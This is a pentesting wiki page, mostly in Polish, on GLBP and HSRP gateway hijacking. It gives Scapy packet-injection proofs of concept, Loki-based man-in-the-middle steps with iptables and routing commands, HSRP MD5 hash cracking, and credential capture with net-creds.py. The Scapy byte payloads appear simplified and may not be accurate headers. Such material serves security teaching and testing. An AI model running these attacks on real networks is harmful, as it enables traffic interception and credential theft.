GLBP & HSRP Attacks
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
FHRP Hijacking Overview
Wgląd w FHRP
FHRP został zaprojektowany, aby zapewnić odporność sieci poprzez łączenie wielu routerów w jedną wirtualną jednostkę, zwiększając w ten sposób rozkład obciążenia i tolerancję na błędy. Cisco Systems wprowadził w tym pakiecie protokoły takie jak GLBP i HSRP.
Omówienie protokołu GLBP
Cisco’s creation, GLBP, funkcjonuje na stosie TCP/IP, wykorzystując UDP na porcie 3222 do komunikacji. Routery w grupie GLBP wymieniają pakiety “hello” co 3 sekundy. Jeśli router przestaje wysyłać te pakiety przez 10 sekund, uznawany jest za offline. Timery te nie są jednak stałe i można je modyfikować.
GLBP dla IPv6 używa multicast FF02::66 przez UDP/3222, a format wirtualnego MAC staje się 0007.b4xx.xxyy (AVF ID jest w ostatnim bajcie). Timingi i powierzchnia ataku pozostają takie same jak w IPv4, więc hijack techniques nadal działają w sieciach dual‑stack.
Działanie GLBP i rozkład obciążenia
GLBP wyróżnia się możliwością rozdzielania obciążenia między routery przy użyciu pojedynczego wirtualnego IP sprzężonego z wieloma wirtualnymi adresami MAC. W grupie GLBP każdy router bierze udział w przekazywaniu pakietów. W przeciwieństwie do HSRP/VRRP, GLBP oferuje prawdziwe load balancing przez kilka mechanizmów:
- Host-Dependent Load Balancing: Zapewnia stałe przypisanie AVF MAC do hosta, co jest istotne dla stabilnych konfiguracji NAT.
- Round-Robin Load Balancing: Domyślne podejście, naprzemiennie przypisujące AVF MAC żądającym hostom.
- Weighted Round-Robin Load Balancing: Rozdziela obciążenie w oparciu o zdefiniowane metryki “Weight”.
Kluczowe komponenty i terminy w GLBP
- AVG (Active Virtual Gateway): Główny router odpowiedzialny za przydzielanie adresów MAC pozostałym routerom.
- AVF (Active Virtual Forwarder): Router wyznaczony do obsługi ruchu sieciowego.
- GLBP Priority: Metryka określająca AVG, domyślnie 100, w zakresie od 1 do 255.
- GLBP Weight: Odzwierciedla bieżące obciążenie routera, regulowana ręcznie lub przez Object Tracking.
- GLBP Virtual IP Address: Służy jako domyślna brama sieci dla wszystkich podłączonych urządzeń.
Do komunikacji GLBP używa zarezerwowanego adresu multicast 224.0.0.102 i portu UDP 3222. Routery wysyłają pakiety “hello” co 3 sekundy i są uznawane za nieaktywne, jeśli brak pakietu przez okres 10 sekund.
GLBP Attack Mechanism
An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection.
Practical GLBP hijack with Scapy (short PoC)
from scapy.all import *
vip = "10.10.100.254" # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64" # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)
Sporządź bajty ładunku, aby naśladować nagłówek GLBP (version/opcode/priority/weight/VRID). Pętlenie ramki zapewnia wygraną w AVG election, jeśli uwierzytelnianie jest nieobecne.
Wykonanie GLBP Attack with Loki
Loki może przeprowadzić GLBP attack przez wstrzyknięcie pakietu z priority i weight ustawionymi na 255. Kroki przed atakiem obejmują zebranie informacji, takich jak virtual IP address, obecność uwierzytelniania i wartości priority routera przy użyciu narzędzi jak Wireshark.
Kroki ataku:
- Przełącz interfejs w promiscuous mode i włącz IP forwarding.
- Zidentyfikuj docelowy router i pobierz jego IP.
- Wygeneruj Gratuitous ARP.
- Wstrzyknij złośliwy pakiet GLBP, podszywając się pod AVG.
- Przypisz secondary IP address do network interface atakującego, odzwierciedlając GLBP virtual IP.
- Wdróż SNAT, aby uzyskać pełną widoczność ruchu.
- Dostosuj routing, aby zapewnić ciągły dostęp do Internetu przez oryginalny AVG router.
Postępując zgodnie z tymi krokami, atakujący pozycjonuje się jako “man in the middle”, zdolny do przechwytywania i analizowania ruchu sieciowego, w tym niezaszyfrowanych lub wrażliwych danych.
Dla demonstracji, oto wymagane fragmenty poleceń:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Monitorowanie i przechwytywanie ruchu można wykonać za pomocą net-creds.py lub podobnych narzędzi do przechwytywania i analizowania danych przepływających przez skompromitowaną sieć.
Pasywne wyjaśnienie HSRP Hijacking ze szczegółami poleceń
Przegląd HSRP (Hot Standby Router/Redundancy Protocol)
HSRP to własnościowy protokół Cisco zaprojektowany do redundancji bramy sieciowej. Umożliwia skonfigurowanie wielu fizycznych routerów jako jednej logicznej jednostki ze wspólnym adresem IP. Jednostką tą zarządza router główny odpowiedzialny za kierowanie ruchem. W przeciwieństwie do GLBP, które używa metryk takich jak priorytet i waga do równoważenia obciążenia, HSRP opiera się na pojedynczym aktywnym routerze do zarządzania ruchem.
HSRPv1 używa multicast 224.0.0.2 i wirtualnego MAC 0000.0c07.acXX; HSRPv2 i HSRPv2 dla IPv6 używają 224.0.0.102 / FF02::66 i wirtualnego MAC 0000.0c9f.fXXX. Port docelowy UDP to 1985 dla IPv4 i 2029 dla IPv6.
Role i terminologia w HSRP
- HSRP Active Router: Urządzenie pełniące rolę bramy, zarządzające przepływem ruchu.
- HSRP Standby Router: Router zapasowy, gotowy do przejęcia, jeśli aktywny router przestanie działać.
- HSRP Group: Zestaw routerów współpracujących w celu utworzenia jednego odpornego na awarie wirtualnego routera.
- HSRP MAC Address: Wirtualny adres MAC przypisany do logicznego routera w konfiguracji HSRP.
- HSRP Virtual IP Address: Wirtualny adres IP grupy HSRP, działający jako domyślna brama dla podłączonych urządzeń.
Wersje HSRP
HSRP występuje w dwóch wersjach, HSRPv1 i HSRPv2, które różnią się głównie pojemnością grup, użyciem multicast IP i strukturą wirtualnych adresów MAC. Protokół wykorzystuje określone adresy multicast do wymiany informacji o usłudze, z pakietami Hello wysyłanymi co 3 sekundy. Router uznaje się za nieaktywny, jeśli w ciągu 10 sekund nie zostanie odebrany żaden pakiet.
Mechanizm ataku HSRP
Ataki HSRP polegają na siłowym przejęciu roli Active Router poprzez wstrzyknięcie maksymalnej wartości priorytetu. Może to doprowadzić do ataku Man-In-The-Middle (MITM). Niezbędne kroki przed atakiem obejmują zebranie informacji o konfiguracji HSRP, co można wykonać za pomocą Wireshark do analizy ruchu.
Quick HSRP takeover with Scapy
from scapy.all import *
vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01" # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)
Jeśli uwierzytelnianie nie jest skonfigurowane, ciągłe wysyłanie hellos z wyższym priorytetem wymusza na peerach przejście do stanów Speak/Listen i pozwala ci zostać Active, przekierowując ruch przez twój host.
HSRP authentication corner cases
- Przestarzałe plain-text auth jest trywialnie spoofowalne.
- Uwierzytelnianie MD5 obejmuje jedynie payload HSRP; spreparowane pakiety nadal mogą rate-limitować/wywoływać DoS płaszczyzny kontrolne. Wydania NX-OS wcześniej pozwalały na DoS przeciw grupom z uwierzytelnianiem (zob. Cisco advisory CSCup11309).
- Na wielu współdzielonych VLAN-ach ISP / VPS multicasty HSRPv1 są widoczne dla tenantów; bez uwierzytelniania możesz dołączyć i preemptować ruch.
Kroki omijania uwierzytelniania HSRP
- Zapisz ruch sieciowy zawierający dane HSRP do pliku .pcap.
tcpdump -w hsrp_traffic.pcap
- Wyodrębnij hashe MD5 z pliku .pcap przy użyciu hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- Złam hashe MD5 przy użyciu John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes
Wykonywanie HSRP Injection za pomocą Loki
- Uruchom Loki, aby zidentyfikować ogłoszenia HSRP.
- Ustaw interfejs sieciowy w tryb promiscuous i włącz IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- Użyj Loki, aby zaatakować konkretny router, wprowadź złamane hasło HSRP i wykonaj niezbędne konfiguracje, aby podszyć się pod Active Router.
- Po zajęciu roli Active Routera, skonfiguruj interfejs sieciowy i iptables, aby przechwycić prawidłowy ruch.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- Zmodyfikuj tabelę routingu, aby kierować ruch przez poprzedni Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- Użyj net-creds.py lub podobnego narzędzia, aby przechwycić poświadczenia z przechwyconego ruchu.
sudo python2 net-creds.py -i eth0
Wykonanie tych kroków stawia atakującego w pozycji do przechwytywania i manipulowania ruchem, podobnie jak w przypadku GLBP hijacking. Podkreśla to podatność protokołów redundancji takich jak HSRP oraz konieczność stosowania solidnych środków bezpieczeństwa.
Źródła
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Cisco NX-OS HSRP authentication DoS (CSCup11309)
- Reddit: HSRP seen on VPS shared VLANs
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


